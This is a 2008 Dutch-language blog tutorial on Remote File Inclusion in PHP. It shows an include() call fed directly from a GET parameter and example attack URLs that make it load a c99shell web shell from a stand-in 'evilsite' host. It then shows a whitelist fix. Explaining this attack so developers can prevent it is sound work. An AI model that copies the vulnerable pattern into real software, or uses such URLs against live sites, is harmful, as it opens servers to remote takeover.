RFI, Remote File Inclusion Print E-mail
Written by Quzart   
Thursday, 21 February 2008 19:15

RFI is een manier die wel op 20% van de het hacken van een website gebruikt wordt. Het is dus wel zo slim als je even oplet bij het programmeren in PHP.

 

 

Wat is RFI

Remote File Inclusion zegt het al een beetje. Iemand van buiten af kan zijn code 'includen' en zo dus van alles met je website kan doen wat waarschijnlijk niet wilt.

Het gaat voornamelijk om de PHP functie include() en zijn verwant require(). Deze functies zijn gevaarlijk omdat ze ook de code in bestanden kunnen uitvoeren die op een andere websites staan.

Hoe werkt het?

Stel je gebruikt de include() functie om verschillende content te laten zien op je website, bijvoorbeeld dit:

<?php

  
// Naam: testje.php

  
$module $_GET'mod' ];
  include( 
$module '.php' );

?>

Wat gebeurt er hier? PHP haalt de _GET variabele 'mod' op, plaatst er '.php' achter en voert vervolgens het bestand uit. Normaal zou iemand op deze manier het bestandje bezoeken:

http://domain/path/testje.php?mod=frontpage

Dan zou dus het bestand 'fronpage.php' worden uitgevoerd. Maar iemand zou ook dit kunnen doen:

http://domain/path/testje.php?mod=http://evilsite/c99shell

Dan zou het bestand 'c99shell.php' van de evilsite worden gehaalt en dan wordt c99shell uitgevoerd en daarmee is je site gehacked. De aanvaller weet vaak niet precies hoe de code is achter een website dus vaak wordt ook dit gedaan:

http://domain/path/testje.php?mod=http://evilsite/c99shell.php?

Dan voert 'testje.php' dit bestand uit: 'http://evilsite/c99shell.php?.php', natuurlijk maakt het niets uit wat er achter het vraagteken (?) staat. Het bovenstaande geld dus ook voor require().

Hoe tegen te gaan

Het is relatief makkelijk om dit tegen te gaan, bijvoorbeeld met deze code:

<?php

  
//Naam: testje.php

  
$defaultModule 'frontpage';

  
$allowedModules = array(
    
'frontpage',
    
'login',
    
'contact',
    
'download',
    
'register'
  
);

  
$currentModule false;

  foreach ( 
$allowedModules as $allowed )
  {
    if ( 
$allowed == $_GET'module' ] )
    {
       
$currentModule $_GET'module' ];
       break;
    }
  }

  if ( 
$currentModule === false )
  {
    
$currentModule $defaultModule;
  }

  require( 
$currentModule '.php' );

?>

Nu kijkt 'testje.php' eerst of een bepaalde module toegestaan is en dan pas wordt hij uitgevoerd. Is een module niet toegestaan dan wordt een $defaultModule gebruikt. Ik gebruik zelf altijd require() tenzij perse include() nodig is. Zo weet ik namelijk zeker dat mijn script naar behoren wordt uitgevoerd.

Last Updated ( Thursday, 21 February 2008 20:58 )
 
© 2008 - Designed by Quzart - Powered by Joomla!